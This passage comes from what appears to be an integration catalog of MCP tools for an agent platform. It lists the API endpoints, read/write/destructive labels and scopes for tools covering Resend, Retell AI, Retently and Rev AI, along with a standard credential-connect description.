resend_post_events_send (write) — Send an event via POST /events/send POST /api/v1/resend/events/send. Scopes: full_access. resend_post_segments (write) — Create a new segment via POST /segments POST /api/v1/resend/segments. Scopes: full_access. resend_post_suppressions (write) — Create a suppression via POST /suppressions POST /api/v1/resend/suppressions. Scopes: full_access. resend_post_suppressions_batch_add (write) — Add up to 100 suppressions at once via POST /suppressions/batch/add POST /api/v1/resend/suppressions/batch/add. Scopes: full_access. resend_post_suppressions_batch_remove (write) — Remove up to 100 suppressions at once via POST /suppressions/batch/remove POST /api/v1/resend/suppressions/batch/remove. Scopes: full_access. resend_post_templates (write) — Create a template via POST /templates POST /api/v1/resend/templates. Scopes: full_access. resend_post_templates_by_id_duplicate (write) — Duplicate a template via POST /templates/{id}/duplicate POST /api/v1/resend/templates/{id}/duplicate. Scopes: full_access. resend_post_templates_by_id_publish (write) — Publish a template via POST /templates/{id}/publish POST /api/v1/resend/templates/{id}/publish. Scopes: full_access. resend_post_topics (write) — Create a new topic via POST /topics POST /api/v1/resend/topics. Scopes: full_access. resend_post_webhooks (write) — Create a new webhook via POST /webhooks POST /api/v1/resend/webhooks. Scopes: full_access. resend_post_webhooks_by_webhook_id_events_by_event_id_replay (write) — Replay a webhook event via POST /webhooks/{webhook_id}/events/{event_id}/replay POST /api/v1/resend/webhooks/{webhook_id}/events/{event_id}/replay. Scopes: full_access. ================================================================================ ## Retell AI URL: https://www.agenticfabriq.com/integrations/retellai Section: Integrated Tools Retell AI — 104 MCP tools Provider key: retellai. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. retellai_delete_delete_agent_by_agent_id (write, destructive) — Delete an existing agent via DELETE /delete-agent/{agent_id} DELETE /api/v1/retellai/delete-agent/{agent_id}. Scopes: api. retellai_delete_delete_agent_version_by_agent_id (write, destructive) — Delete a specific agent version. via DELETE /delete-agent-version/{agent_id} DELETE /api/v1/retellai/delete-agent-version/{agent_id}. Scopes: api. retellai_delete_delete_app_by_app_id (write, destructive) — Delete an App. Fails when agents or knowledge bases still reference it, unless force_delete is set. If a CRM config is linked to this App, the link is cleared. via DELETE /delete-app/{app_id} DELETE /api/v1/retellai/delete-app/{app_id}. Scopes: api. retellai_delete_delete_chat_agent_by_agent_id (write, destructive) — Delete an existing chat agent via DELETE /delete-chat-agent/{agent_id} DELETE /api/v1/retellai/delete-chat-agent/{agent_id}. Scopes: api. retellai_delete_delete_chat_by_chat_id (write, destructive) — Delete an existing chat via DELETE /delete-chat/{chat_id} DELETE /api/v1/retellai/delete-chat/{chat_id}. Scopes: api. retellai_delete_delete_contact_by_contact_id (write, destructive) — Delete a contact. A contact linked to a record in a connected CRM cannot be deleted while two-way sync is active — unlink the CRM app first, otherwise the next sync would recreate it. via DELETE /delete-contact/{contact_id} DELETE /api/v1/retellai/delete-contact/{contact_id}. Scopes: api. retellai_delete_delete_conversation_flow_by_conversation_flow_id (write, destructive) — Delete a conversation flow and all its versions via DELETE /delete-conversation-flow/{conversation_flow_id} DELETE /api/v1/retellai/delete-conversation-flow/{conversation_flow_id}. Scopes: api. retellai_delete_delete_conversation_flow_component_by_conversation_flow_component_id (write, destructive) — Delete a shared conversation flow component. When deleting a shared component, creates local copies for all linked conversation flows. via DELETE /delete-conversation-flow-component/{conversation_flow_component_id} DELETE /api/v1/retellai/delete-conversation-flow-component/{conversation_flow_component_id}. Scopes: api. retellai_delete_delete_knowledge_base_by_knowledge_base_id (write, destructive) — Delete an existing knowledge base via DELETE /delete-knowledge-base/{knowledge_base_id} DELETE /api/v1/retellai/delete-knowledge-base/{knowledge_base_id}. Scopes: api. retellai_delete_delete_knowledge_base_source_by_knowledge_base_id_source_by_source_id (write, destructive) — Delete an existing source from knowledge base via DELETE /delete-knowledge-base-source/{knowledge_base_id}/source/{source_id} DELETE /api/v1/retellai/delete-knowledge-base-source/{knowledge_base_id}/source/{source_id}. Scopes: api. retellai_delete_delete_phone_number_by_phone_number (write, destructive) — Delete an existing phone number via DELETE /delete-phone-number/{phone_number} DELETE /api/v1/retellai/delete-phone-number/{phone_number}. Scopes: api. retellai_delete_delete_retell_llm_by_llm_id (write, destructive) — Delete an existing Retell LLM Response Engine via DELETE /delete-retell-llm/{llm_id} DELETE /api/v1/retellai/delete-retell-llm/{llm_id}. Scopes: api. retellai_delete_delete_test_case_definition_by_test_case_definition_id (write, destructive) — Delete a test case definition via DELETE /delete-test-case-definition/{test_case_definition_id} DELETE /api/v1/retellai/delete-test-case-definition/{test_case_definition_id}. Scopes: api. retellai_delete_v2_delete_call_by_call_id (write, destructive) — Delete a specific call and its associated data via DELETE /v2/delete-call/{call_id} DELETE /api/v1/retellai/v2/delete-call/{call_id}. Scopes: api. retellai_get_get_agent_by_agent_id (read) — Retrieve details of a specific agent via GET /get-agent/{agent_id} GET /api/v1/retellai/get-agent/{agent_id}. Scopes: api. retellai_get_get_agent_versions_by_agent_id (read) — Get agent versions. Large version histories may be truncated. via GET /get-agent-versions/{agent_id}. Retell's contract marks this operation deprecated (its description also warns that large version histories may be truncated); prefer retellai_get_list_agent_versions_by_agent_id (GET /list-agent-versions/{agent_id}), which lists stored versions of a voice or chat agent with pagination GET /api/v1/retellai/get-agent-versions/{agent_id}. Scopes: api. retellai_get_get_api_key_info (read) — Get info about the API key used to authenticate, and the org that owns it. via GET /get-api-key-info GET /api/v1/retellai/get-api-key-info. Scopes: api. retellai_get_get_app_by_app_id (read) — Get an App by id. via GET /get-app/{app_id} GET /api/v1/retellai/get-app/{app_id}. Scopes: api. retellai_get_get_backfill_contact_job_status (read) — Get the status of the contact analysis data backfill job. via GET /get-backfill-contact-job-status GET /api/v1/retellai/get-backfill-contact-job-status. Scopes: api. retellai_get_get_batch_test_by_test_case_batch_job_id (read) — Get a batch test job by ID via GET /get-batch-test/{test_case_batch_job_id} GET /api/v1/retellai/get-batch-test/{test_case_batch_job_id}. Scopes: api. retellai_get_get_chat_agent_by_agent_id (read) — Retrieve details of a specific chat agent via GET /get-chat-agent/{agent_id} GET /api/v1/retellai/get-chat-agent/{agent_id}. Scopes: api. retellai_get_get_chat_agent_versions_by_agent_id (read) — Get chat agent versions. Large version histories may be truncated. via GET /get-chat-agent-versions/{agent_id}. Retell's contract marks this operation deprecated (its description also warns that large version histories may be truncated); prefer retellai_get_list_agent_versions_by_agent_id (GET /list-agent-versions/{agent_id}), which lists stored versions of a voice or chat agent with pagination GET /api/v1/retellai/get-chat-agent-versions/{agent_id}. Scopes: api. retellai_get_get_chat_by_chat_id (read) — Retrieve details of a specific chat via GET /get-chat/{chat_id} GET /api/v1/retellai/get-chat/{chat_id}. Scopes: api. retellai_get_get_concurrency (read) — Get the current concurrency and concurrency limit of the org via GET /get-concurrency GET /api/v1/retellai/get-concurrency. Scopes: api. retellai_get_get_contact_by_contact_id (read) — Retrieve a contact by ID. via GET /get-contact/{contact_id} GET /api/v1/retellai/get-contact/{contact_id}. Scopes: api. retellai_get_get_contact_by_phone_by_phone_number (read) — Retrieve a contact by phone number. At most one contact exists per phone number in an organization. via GET /get-contact-by-phone/{phone_number} GET /api/v1/retellai/get-contact-by-phone/{phone_number}. Scopes: api. retellai_get_get_contact_import (read) — Status and counts for the org's current or latest contact import. via GET /get-contact-import GET /api/v1/retellai/get-contact-import. Scopes: api. retellai_get_get_conversation_flow_by_conversation_flow_id (read) — Retrieve details of a specific Conversation Flow via GET /get-conversation-flow/{conversation_flow_id} GET /api/v1/retellai/get-conversation-flow/{conversation_flow_id}. Scopes: api. retellai_get_get_conversation_flow_component_by_conversation_flow_component_id (read) — Get a shared conversation flow component via GET /get-conversation-flow-component/{conversation_flow_component_id} GET /api/v1/retellai/get-conversation-flow-component/{conversation_flow_component_id}. Scopes: api. retellai_get_get_crm_config (read) — Get the organization's CRM configuration: which CRM app is linked, the custom contact fields defined for it, and how post-call analysis data is written back to contacts. Returns an empty configuration when nothing has been set up yet. via GET /get-crm-config GET /api/v1/retellai/get-crm-config. Scopes: api. retellai_get_get_crm_schema (read) — Get the contact schema of the connected CRM: the fields available on its contact object, which are the values that sync mappings can reference. via GET /get-crm-schema GET /api/v1/retellai/get-crm-schema. Scopes: api. retellai_get_get_knowledge_base_by_knowledge_base_id (read) — Retrieve details of a specific knowledge base via GET /get-knowledge-base/{knowledge_base_id} GET /api/v1/retellai/get-knowledge-base/{knowledge_base_id}. Scopes: api. retellai_get_get_mcp_tools_by_agent_id (read) — Get MCP tools for a specific agent via GET /get-mcp-tools/{agent_id} GET /api/v1/retellai/get-mcp-tools/{agent_id}. Scopes: api. retellai_get_get_phone_number_by_phone_number (read) — Retrieve details of a specific phone number via GET /get-phone-number/{phone_number} GET /api/v1/retellai/get-phone-number/{phone_number}. Scopes: api. retellai_get_get_retell_llm_by_llm_id (read) — Retrieve details of a specific Retell LLM Response Engine via GET /get-retell-llm/{llm_id} GET /api/v1/retellai/get-retell-llm/{llm_id}. Scopes: api. retellai_get_get_sync_job_status (read) — Get the status of the organization's contact sync, whether it was started manually or by the schedule. Returns status `idle` when no sync is running. via GET /get-sync-job-status GET /api/v1/retellai/get-sync-job-status. Scopes: api. retellai_get_get_test_case_definition_by_test_case_definition_id (read) — Get a test case definition by ID via GET /get-test-case-definition/{test_case_definition_id} GET /api/v1/retellai/get-test-case-definition/{test_case_definition_id}. Scopes: api. retellai_get_get_test_run_by_test_case_job_id (read) — Get a test case job (test run) by ID via GET /get-test-run/{test_case_job_id} GET /api/v1/retellai/get-test-run/{test_case_job_id}. Scopes: api. retellai_get_get_voice_by_voice_id (read) — Retrieve details of a specific voice via GET /get-voice/{voice_id} GET /api/v1/retellai/get-voice/{voice_id}. Scopes: api. retellai_get_list_agent_versions_by_agent_id (read) — List stored versions of a voice or chat agent with pagination. via GET /list-agent-versions/{agent_id} GET /api/v1/retellai/list-agent-versions/{agent_id}. Scopes: api. retellai_get_list_app_usages_by_app_id (read) — List the agents and knowledge bases referencing an App, most recently configured first by default. via GET /list-app-usages/{app_id} GET /api/v1/retellai/list-app-usages/{app_id}. Scopes: api. retellai_get_list_apps (read) — List Apps in the organization (paginated). via GET /list-apps GET /api/v1/retellai/list-apps. Scopes: api. retellai_get_list_contact_conversations_by_contact_id (read) — List a contact's conversations (inbound calls, outbound calls, and chats) merged into a single timeline, most recent first. Results are matched by the contact's phone number. Use the returned `pagination_key` to fetch the next page. via GET /list-contact-conversations/{contact_id} GET /api/v1/retellai/list-contact-conversations/{contact_id}. Scopes: api. retellai_get_list_knowledge_bases (read) — List all knowledge bases via GET /list-knowledge-bases GET /api/v1/retellai/list-knowledge-bases. Scopes: api. retellai_get_list_voices (read) — List all voices available to the user via GET /list-voices GET /api/v1/retellai/list-voices. Scopes: api. retellai_get_v2_get_call_by_call_id (read) — Retrieve details of a specific call via GET /v2/get-call/{call_id} GET /api/v1/retellai/v2/get-call/{call_id}. Scopes: api. retellai_get_v2_list_batch_tests (read) — List batch test jobs with pagination via GET /v2/list-batch-tests GET /api/v1/retellai/v2/list-batch-tests. Scopes: api. retellai_get_v2_list_conversation_flow_components (read) — List shared conversation flow components with pagination via GET /v2/list-conversation-flow-components GET /api/v1/retellai/v2/list-conversation-flow-components. Scopes: api. retellai_get_v2_list_conversation_flows (read) — List conversation flows with pagination via GET /v2/list-conversation-flows GET /api/v1/retellai/v2/list-conversation-flows. Scopes: api. retellai_get_v2_list_export_requests (read) — List export requests with pagination via GET /v2/list-export-requests GET /api/v1/retellai/v2/list-export-requests. Scopes: api. retellai_get_v2_list_phone_numbers (read) — List phone numbers with pagination via GET /v2/list-phone-numbers GET /api/v1/retellai/v2/list-phone-numbers. Scopes: api. retellai_get_v2_list_retell_llms (read) — List Retell LLM Response Engines with pagination via GET /v2/list-retell-llms GET /api/v1/retellai/v2/list-retell-llms. Scopes: api. retellai_get_v2_list_test_case_definitions (read) — List test case definitions with pagination via GET /v2/list-test-case-definitions GET /api/v1/retellai/v2/list-test-case-definitions. Scopes: api. retellai_get_v2_list_test_runs_by_test_case_batch_job_id (read) — List test case jobs (test runs) for a batch test job with pagination via GET /v2/list-test-runs/{test_case_batch_job_id} GET /api/v1/retellai/v2/list-test-runs/{test_case_batch_job_id}. Scopes: api. retellai_patch_end_chat_by_chat_id (write) — End an ongoing chat via PATCH /end-chat/{chat_id} PATCH /api/v1/retellai/end-chat/{chat_id}. Scopes: api. retellai_patch_update_agent_by_agent_id (write) — Update an existing agent's latest draft version via PATCH /update-agent/{agent_id} PATCH /api/v1/retellai/update-agent/{agent_id}. Scopes: api. retellai_patch_update_app_by_app_id (write) — Partially update an App. Omitted fields remain unchanged. Updating auth_config or tenant metadata invalidates the cached provider token immediately. Providers using the OAuth callback reject auth_config and must be reauthorized through connect-app. via PATCH /update-app/{app_id} PATCH /api/v1/retellai/update-app/{app_id}. Scopes: api. retellai_patch_update_chat_agent_by_agent_id (write) — Update an existing chat agent via PATCH /update-chat-agent/{agent_id} PATCH /api/v1/retellai/update-chat-agent/{agent_id}. Scopes: api. retellai_patch_update_chat_by_chat_id (write) — Update metadata and sensitive data storage settings for an existing chat. via PATCH /update-chat/{chat_id} PATCH /api/v1/retellai/update-chat/{chat_id}. Scopes: api. retellai_patch_update_contact_by_contact_id (write) — Update an existing contact. via PATCH /update-contact/{contact_id} PATCH /api/v1/retellai/update-contact/{contact_id}. Scopes: api. retellai_patch_update_conversation_flow_by_conversation_flow_id (write) — Update an existing conversation flow via PATCH /update-conversation-flow/{conversation_flow_id} PATCH /api/v1/retellai/update-conversation-flow/{conversation_flow_id}. Scopes: api. retellai_patch_update_conversation_flow_component_by_conversation_flow_component_id (write) — Update an existing shared conversation flow component via PATCH /update-conversation-flow-component/{conversation_flow_component_id} PATCH /api/v1/retellai/update-conversation-flow-component/{conversation_flow_component_id}. Scopes: api. retellai_patch_update_phone_number_by_phone_number (write) — Update agent bound to a purchased phone number via PATCH /update-phone-number/{phone_number} PATCH /api/v1/retellai/update-phone-number/{phone_number}. Scopes: api. retellai_patch_update_retell_llm_by_llm_id (write) — Update an existing Retell LLM Response Engine via PATCH /update-retell-llm/{llm_id} PATCH /api/v1/retellai/update-retell-llm/{llm_id}. Scopes: api. retellai_patch_v2_update_call_by_call_id (write) — Update metadata and sensitive data storage settings for an existing call. via PATCH /v2/update-call/{call_id} PATCH /api/v1/retellai/v2/update-call/{call_id}. Scopes: api. retellai_patch_v2_update_live_call_by_call_id (write) — Update an ongoing call at runtime. Supports overriding dynamic variables, metadata, and the data storage setting on the running call, and controlling the live agent (inject context, trigger a response). These overrides take effect immediately on the live call; metadata and data storage setting changes are also persisted to the call record. To update a call that is no longer ongoing, use /v2/update-call/{call_id}. via PATCH /v2/update-live-call/{call_id} PATCH /api/v1/retellai/v2/update-live-call/{call_id}. Scopes: api. retellai_post_add_community_voice (write) — Add a community voice to the voice library via POST /add-community-voice POST /api/v1/retellai/add-community-voice. Scopes: api. retellai_post_agent_playground_completion_by_agent_id (write) — Stateless playground completion. Send the full conversation history (same shape as chat completion messages) and receive only the newly generated messages. Nothing is persisted server-side — the caller manages conversation state. via POST /agent-playground-completion/{agent_id} POST /api/v1/retellai/agent-playground-completion/{agent_id}. Scopes: api. retellai_post_backfill_contact_analysis_data (write) — Trigger a backfill job that re-applies analysis data mappings to contacts using historical call data. Only one backfill job can run per organization at a time. via POST /backfill-contact-analysis-data POST /api/v1/retellai/backfill-contact-analysis-data. Scopes: api. retellai_post_create_agent (write) — Create a new agent via POST /create-agent POST /api/v1/retellai/create-agent. Scopes: api. retellai_post_create_agent_version_by_agent_id (write) — Create a new draft agent version from a base version. via POST /create-agent-version/{agent_id} POST /api/v1/retellai/create-agent-version/{agent_id}. Scopes: api. retellai_post_create_app (write) — Create an App: the connection to one external system (a CRM, calendar, support desk, and so on), holding its credentials and settings. Providers with caller-managed credentials accept auth_config. Providers using the OAuth callback must omit auth_config and be authorized through connect-app. Credentials are stored encrypted and never returned. Up to 20 apps per provider. via POST /create-app POST /api/v1/retellai/create-app. Scopes: api. retellai_post_create_batch_call (write) — Create a batch call via POST /create-batch-call POST /api/v1/retellai/create-batch-call. Scopes: api. retellai_post_create_batch_test (write) — Create a batch test to run multiple test cases via POST /create-batch-test POST /api/v1/retellai/create-batch-test. Scopes: api. retellai_post_create_chat (write) — Create a chat session via POST /create-chat POST /api/v1/retellai/create-chat. Scopes: api. retellai_post_create_chat_agent (write) — Create a new chat agent via POST /create-chat-agent POST /api/v1/retellai/create-chat-agent. Scopes: api. retellai_post_create_chat_completion (write) — Create a chat completion message via POST /create-chat-completion POST /api/v1/retellai/create-chat-completion. Scopes: api. retellai_post_create_contact (write) — Create a new contact. via POST /create-contact POST /api/v1/retellai/create-contact. Scopes: api. retellai_post_create_contact_import (write) — Start an incremental contact import from an uploaded CSV: creates new contacts and updates existing ones matched by phone number. Mapped columns overwrite the matched contact's fields; unmapped columns are ignored. Runs asynchronously — poll get-contact-import for progress. via POST /create-contact-import POST /api/v1/retellai/create-contact-import. Scopes: api. retellai_post_create_conversation_flow (write) — Create a new Conversation Flow that can be attached to an agent. This is used to generate response output for the agent. via POST /create-conversation-flow POST /api/v1/retellai/create-conversation-flow. Scopes: api. retellai_post_create_conversation_flow_component (write) — Create a new shared conversation flow component via POST /create-conversation-flow-component POST /api/v1/retellai/create-conversation-flow-component. Scopes: api. retellai_post_create_phone_number (write) — Buy a new phone number & Bind agents via POST /create-phone-number POST /api/v1/retellai/create-phone-number. Scopes: api. retellai_post_create_retell_llm (write) — Create a new Retell LLM Response Engine that can be attached to an agent. This is used to generate response output for the agent. via POST /create-retell-llm POST /api/v1/retellai/create-retell-llm. Scopes: api. retellai_post_create_sms_chat (write) — Start an outbound SMS chat conversation with a phone number using the specified agent. The agent must be configured for chat mode. The initial SMS message will be automatically generated and sent based on the agent's configuration. via POST /create-sms-chat POST /api/v1/retellai/create-sms-chat. Scopes: api. retellai_post_create_test_case_definition (write) — Create a new test case definition via POST /create-test-case-definition POST /api/v1/retellai/create-test-case-definition. Scopes: api. retellai_post_import_phone_number (write) — Import a phone number from custom telephony & Bind agents via POST /import-phone-number POST /api/v1/retellai/import-phone-number. Scopes: api. retellai_post_list_contacts (write) — List contacts, newest conversation first by default, with the total count of matches alongside the page. Page through results with `pagination_key`; `skip` is available for offset-style paging but is slower on large contact sets and can repeat or miss rows as contacts are updated. via POST /list-contacts POST /api/v1/retellai/list-contacts. Scopes: api. retellai_post_publish_agent_version_by_agent_id (write) — Publish an existing draft version in place. via POST /publish-agent-version/{agent_id} POST /api/v1/retellai/publish-agent-version/{agent_id}. Scopes: api. retellai_post_repair_agent_by_agent_id (write) — Remove references to resources that no longer exist in your workspace from an agent draft version and its response engine — tools whose app connection has been deleted, unknown knowledge bases, and deleted shared components — and remap voices that are no longer accessible to a default voice. If the agent's response engine version has been published, the engine is left untouched and only agent-level references are repaired. Repairing an agent with nothing to fix is a no-op. via POST /repair-agent/{agent_id} POST /api/v1/retellai/repair-agent/{agent_id}. Scopes: api. retellai_post_run_sync_job (write) — Start a contact sync with the linked CRM app immediately, instead of waiting for the scheduled sync. One sync runs per organization at a time: starting another while one is in flight is rejected. Poll get-sync-job-status for progress. via POST /run-sync-job POST /api/v1/retellai/run-sync-job. Scopes: api. retellai_post_search_community_voice (write) — Search for community voices from voice providers via POST /search-community-voice POST /api/v1/retellai/search-community-voice. Scopes: api. retellai_post_test_app_auth_by_app_id (write) — Probe the App's stored credentials by making a minimal authenticated call to the provider. Returns success=true on a successful round-trip, and records the outcome on the App's connection_status either way. via POST /test-app-auth/{app_id} POST /api/v1/retellai/test-app-auth/{app_id}. Scopes: api. retellai_post_update_crm_config (write) — Update the organization's CRM configuration. Omitted fields stay as they are; a field that is sent replaces its stored value in full. via POST /update-crm-config POST /api/v1/retellai/update-crm-config. Scopes: api. retellai_post_v2_create_phone_call (write) — Create a new outbound phone call via POST /v2/create-phone-call POST /api/v1/retellai/v2/create-phone-call. Scopes: api. retellai_post_v2_create_web_call (write) — Create a new web call via POST /v2/create-web-call POST /api/v1/retellai/v2/create-web-call. Scopes: api. retellai_post_v2_list_agents (write) — List unique agents with pagination. via POST /v2/list-agents POST /api/v1/retellai/v2/list-agents. Scopes: api. retellai_post_v2_register_phone_call (write) — Register a new phone call for custom telephony via POST /v2/register-phone-call POST /api/v1/retellai/v2/register-phone-call. Scopes: api. retellai_post_v2_stop_call_by_call_id (write) — Stop an ongoing call. via POST /v2/stop-call/{call_id} POST /api/v1/retellai/v2/stop-call/{call_id}. Scopes: api. retellai_post_v3_create_web_call (write) — Create a new web call and return browser connection details. via POST /v3/create-web-call POST /api/v1/retellai/v3/create-web-call. Scopes: api. retellai_post_v3_list_calls (write) — List calls with unified cursor pagination response. via POST /v3/list-calls POST /api/v1/retellai/v3/list-calls. Scopes: api. retellai_post_v3_list_chats (write) — List chats with unified cursor pagination response. via POST /v3/list-chats POST /api/v1/retellai/v3/list-chats. Scopes: api. retellai_put_rerun_call_analysis_by_call_id (write) — Rerun post-call analysis for a specific call. This operation incurs charges. via PUT /rerun-call-analysis/{call_id} PUT /api/v1/retellai/rerun-call-analysis/{call_id}. Scopes: api. retellai_put_rerun_chat_analysis_by_chat_id (write) — Rerun post-chat analysis for a specific chat. This operation incurs charges. via PUT /rerun-chat-analysis/{chat_id} PUT /api/v1/retellai/rerun-chat-analysis/{chat_id}. Scopes: api. retellai_put_update_test_case_definition_by_test_case_definition_id (write) — Update a test case definition via PUT /update-test-case-definition/{test_case_definition_id} PUT /api/v1/retellai/update-test-case-definition/{test_case_definition_id}. Scopes: api. ================================================================================ ## Retently URL: https://www.agenticfabriq.com/integrations/retently Section: Integrated Tools Retently — 36 MCP tools Provider key: retently. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. retently_delete_api_v2_customers (write, destructive) — Delete delete customers via DELETE /api/v2/customers DELETE /api/v1/retently/api/v2/customers. Scopes: api. retently_delete_api_v2_feedback (write, destructive) — Delete delete feedback records via DELETE /api/v2/feedback DELETE /api/v1/retently/api/v2/feedback. Scopes: api. retently_delete_api_v2_outbox (write, destructive) — Delete delete outbox records via DELETE /api/v2/outbox DELETE /api/v1/retently/api/v2/outbox. Scopes: api. retently_delete_api_v2_suppressions_domains_by_id (write, destructive) — Delete remove suppressed domain via DELETE /api/v2/suppressions/domains/{id} DELETE /api/v1/retently/api/v2/suppressions/domains/{id}. Scopes: api. retently_delete_api_v2_suppressions_emails_by_id (write, destructive) — Delete remove suppressed email via DELETE /api/v2/suppressions/emails/{id} DELETE /api/v1/retently/api/v2/suppressions/emails/{id}. Scopes: api. retently_get_api_v2_by_metric_score (read) — Retrieve get latest score via GET /api/v2/{metric}/score GET /api/v1/retently/api/v2/{metric}/score. Scopes: api. retently_get_api_v2_campaigns (read) — Retrieve get campaigns via GET /api/v2/campaigns GET /api/v1/retently/api/v2/campaigns. Scopes: api. retently_get_api_v2_companies (read) — Retrieve get companies via GET /api/v2/companies GET /api/v1/retently/api/v2/companies. Scopes: api. retently_get_api_v2_companies_by_companyid (read) — Retrieve get company by id via GET /api/v2/companies/{companyId} GET /api/v1/retently/api/v2/companies/{companyId}. Scopes: api. retently_get_api_v2_customers (read) — Retrieve get customers via GET /api/v2/customers GET /api/v1/retently/api/v2/customers. Scopes: api. retently_get_api_v2_customers_by_customerid (read) — Retrieve get customer by id via GET /api/v2/customers/{customerId} GET /api/v1/retently/api/v2/customers/{customerId}. Scopes: api. retently_get_api_v2_feedback (read) — Retrieve get feedback via GET /api/v2/feedback GET /api/v1/retently/api/v2/feedback. Scopes: api. retently_get_api_v2_feedback_by_feedbackid (read) — Retrieve get feedback by id via GET /api/v2/feedback/{feedbackId} GET /api/v1/retently/api/v2/feedback/{feedbackId}. Scopes: api. retently_get_api_v2_nps_campaigns (read) — Retrieve get campaigns deprecated via GET /api/v2/nps/campaigns GET /api/v1/retently/api/v2/nps/campaigns. Scopes: api. retently_get_api_v2_nps_customers_response (read) — Retrieve get responses deprecated via GET /api/v2/nps/customers/response GET /api/v1/retently/api/v2/nps/customers/response. Scopes: api. retently_get_api_v2_nps_templates (read) — Retrieve get templates deprecated via GET /api/v2/nps/templates GET /api/v1/retently/api/v2/nps/templates. Scopes: api. retently_get_api_v2_outbox (read) — Retrieve get outbox via GET /api/v2/outbox GET /api/v1/retently/api/v2/outbox. Scopes: api. retently_get_api_v2_ping (read) — Retrieve get account status via GET /api/v2/ping GET /api/v1/retently/api/v2/ping. Scopes: api. retently_get_api_v2_reports (read) — Retrieve get campaign reports via GET /api/v2/reports GET /api/v1/retently/api/v2/reports. Scopes: api. retently_get_api_v2_suppressions_domains (read) — Retrieve get suppressed domains via GET /api/v2/suppressions/domains GET /api/v1/retently/api/v2/suppressions/domains. Scopes: api. retently_get_api_v2_suppressions_emails (read) — Retrieve get suppressed emails via GET /api/v2/suppressions/emails GET /api/v1/retently/api/v2/suppressions/emails. Scopes: api. retently_get_api_v2_templates (read) — Retrieve get templates via GET /api/v2/templates GET /api/v1/retently/api/v2/templates. Scopes: api. retently_get_api_v2_templates_by_templateid (read) — Retrieve get template by id via GET /api/v2/templates/{templateId} GET /api/v1/retently/api/v2/templates/{templateId}. Scopes: api. retently_get_api_v2_trends (read) — Retrieve get trend groups via GET /api/v2/trends GET /api/v1/retently/api/v2/trends. Scopes: api. retently_get_api_v2_trends_by_groupid (read) — Retrieve get trends of a group via GET /api/v2/trends/{groupId} GET /api/v1/retently/api/v2/trends/{groupId}. Scopes: api. retently_post_api_v2_customers (write) — Create or update create or update customers via POST /api/v2/customers POST /api/v1/retently/api/v2/customers. Scopes: api. retently_post_api_v2_customers_resubscribe (write) — Create or update resubscribe customers via POST /api/v2/customers/resubscribe POST /api/v1/retently/api/v2/customers/resubscribe. Scopes: api. retently_post_api_v2_customers_unsubscribe (write) — Create or update unsubscribe customers via POST /api/v2/customers/unsubscribe POST /api/v1/retently/api/v2/customers/unsubscribe. Scopes: api. retently_post_api_v2_import (write) — Create or update import feedback via POST /api/v2/import POST /api/v1/retently/api/v2/import. Scopes: api. retently_post_api_v2_nps_customers_response_tags (write) — Create or update update feedback tags deprecated via POST /api/v2/nps/customers/response/tags POST /api/v1/retently/api/v2/nps/customers/response/tags. Scopes: api. retently_post_api_v2_response_tags (write) — Create or update add feedback tags via POST /api/v2/response/tags POST /api/v1/retently/api/v2/response/tags. Scopes: api. retently_post_api_v2_response_topics (write) — Create or update add feedback topics via POST /api/v2/response/topics POST /api/v1/retently/api/v2/response/topics. Scopes: api. retently_post_api_v2_suppressions_domains (write) — Create or update add suppressed domain via POST /api/v2/suppressions/domains POST /api/v1/retently/api/v2/suppressions/domains. Scopes: api. retently_post_api_v2_suppressions_emails (write) — Create or update add suppressed email via POST /api/v2/suppressions/emails POST /api/v1/retently/api/v2/suppressions/emails. Scopes: api. retently_post_api_v2_survey (write) — Create or update send transactional survey via POST /api/v2/survey POST /api/v1/retently/api/v2/survey. Scopes: api. retently_post_api_v2_sync_attributes (write) — Create or update sync customer attributes via POST /api/v2/sync-attributes POST /api/v1/retently/api/v2/sync-attributes. Scopes: api. ================================================================================ ## Rev AI URL: https://www.agenticfabriq.com/integrations/revai Section: Integrated Tools Rev AI — 34 MCP tools Provider key: revai. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. revai_delete_alignment_v1_jobs_by_id (write, destructive) — Delete Forced Alignment Job by Id via DELETE /alignment/v1/jobs/{id}. Deletes a forced alignment job. All data related to the job will be permanently deleted. A job can only be deleted once it's completed (either with success or failure). DELETE /api/v1/revai/alignment/v1/jobs/{id}. Scopes: api. revai_delete_languageid_v1_jobs_by_id (write, destructive) — Delete Language Identification Job by Id via DELETE /languageid/v1/jobs/{id}. Deletes a language identification job. All data related to the job will be permanently deleted. A job can only be deleted once it's completed (either with success or failure). DELETE /api/v1/revai/languageid/v1/jobs/{id}. Scopes: api. revai_delete_sentiment_analysis_v1_jobs_by_id (write, destructive) — Delete Sentiment Analysis Job by Id via DELETE /sentiment_analysis/v1/jobs/{id}. Deletes a sentiment analysis job. All data related to the job will be permanently deleted. A job can only be deleted once it's completed (either with success or failure). DELETE /api/v1/revai/sentiment_analysis/v1/jobs/{id}. Scopes: api. revai_delete_speechtotext_v1_jobs_by_id (write, destructive) — Delete Job by Id via DELETE /speechtotext/v1/jobs/{id}. Deletes a transcription job. All data related to the job, such as input media and transcript, will be permanently deleted. A job can only be deleted once it's completed (either with success or failure). DELETE /api/v1/revai/speechtotext/v1/jobs/{id}. Scopes: api. revai_delete_speechtotext_v1_vocabularies_by_id (write, destructive) — Delete Custom Vocabulary via DELETE 